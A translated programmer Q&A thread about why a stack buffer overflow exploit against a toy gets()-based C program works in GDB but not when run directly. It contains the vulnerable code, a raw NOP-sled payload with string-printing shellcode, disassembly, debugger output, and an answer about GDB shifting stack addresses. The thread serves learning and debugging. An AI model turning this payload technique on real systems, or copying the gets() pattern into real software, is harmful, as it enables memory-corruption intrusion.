Проблемы с использованием переполнения буфера

Несколько дней назад я написал простой код для тестирования эксплуатации переполнения буфера в системе x86. Для простоты я отключил ASLR и NX, чтобы не было защиты, которая могла бы вызвать странное поведение.

Это мой код на C, который можно использовать:

#include <stdio.h>

void read_txt(){
        char txt[64];
        printf("Write something:");
        gets(txt);
}


int main(){
    read_txt();
    return 0;
}

Я также написал свой собственный шелл-код, который просто печатает строку. Насколько я знаю, полезная нагрузка должна быть примерно такой: заполните буфер инструкциями NOP + шелл-кодом, добавьте 0x41414141 (AAAA), чтобы перезаписать регистр EBP, и, наконец, я заменяю адрес возврата адресом, указывающим на середину NOP.

На самом деле это не работает, и моя полезная нагрузка следующая:

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]

1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address

Этот эксплойт работает с gdb, но не работает, если я передаю полезную нагрузку непосредственно программе, и я думаю, что проблема в том, что непосредственно перед тем, как программа выполнит функцию gets (), дизассемблер показывает инструкцию leave, которая указывает на esp. в ebp и вызывает ошибку.

Это разборка функции read_txt ():

0x0804844c <+0>:    push   %ebp
   0x0804844d <+1>: mov    %esp,%ebp
   0x0804844f <+3>: sub    $0x44,%esp
   0x08048452 <+6>: movl   $0x8048510,(%esp)
   0x08048459 <+13>:    call   0x8048320 <printf@plt>
   0x0804845e <+18>:    lea    -0x40(%ebp),%eax
   0x08048461 <+21>:    mov    %eax,(%esp)
   0x08048464 <+24>:    call   0x8048330 <gets@plt>
   0x08048469 <+29>:    leave  
   0x0804846a <+30>:    ret    

И это выполнение эксплойта на GDB:

(gdb) x/20x $esp
0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090
0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231
0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068
0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0
0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.

0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb) 

Обратите внимание, что EBP указывает на 0x90909090, потому что он имеет тот же адрес, который переопределяет адрес возврата, а также обратите внимание на строку Shellcode Executed, которая является шелл-кодом, включенным в полезную нагрузку.

Мой вопрос: где я могу указать EBP, чтобы избежать этой проблемы, прежде чем указывать обратный адрес на слайде NOP? Также в качестве второстепенного вопроса, почему я не могу заполнить 64-байтовый буфер NOP + Shellcode?

С Уважением.


person Nucklear    schedule 31.10.2013    source источник
comment
Зачем вам добавить AAAA? Вам нужен действующий обратный адрес, который вы каким-то образом получите. Для этого снова проверьте старую версию «Разбивание стека» для развлечения и получения прибыли: или, если вы, кажется, читали искусство эксплуатации, соответствующий раздел.   -  person gnometorule    schedule 02.11.2013
comment
Мой буфер должен быть 64 байта, но на самом деле он имеет 60 байтов, так что 4 A - это заполнение, которое я добавил для достижения ebp.   -  person Nucklear    schedule 02.11.2013
comment
если NOP + Shellcode заполняет 64 байта, это не работает. Что именно происходит, когда у вас есть NOP и шеллкод размером до 64 байт, и что заставило вас выбрать «AAAA», в частности? Кроме того, какого поведения вы здесь ожидаете? Вы хотите взять программу под свой контроль? Или он просто выполняет какие-то действия и продолжает выполнение остальной части?   -  person user3155701    schedule 07.04.2014


Ответы (1)


Я знаю, что прошло 2 года с тех пор, как был задан этот конкретный вопрос, даже я столкнулся с той же проблемой, моя полезная нагрузка работала правильно в gdb, но это не удалось, когда я запустил ее напрямую. Причина в том, что когда вы запускаете свою программу через GDB, создаются две переменные среды, которые, в свою очередь, создают смещение в памяти. Итак, если ваш обратный адрес [полученный с помощью GDB] - RET, тогда при его прямом выполнении обратный адрес будет RET + смещение, и он должен работать нормально.

Или, запустив его через GDB, вы можете предотвратить передачу переменных среды в стек. Надеюсь, это поможет людям, сталкивающимся с той же проблемой.

person Dhayalan Pro    schedule 10.06.2016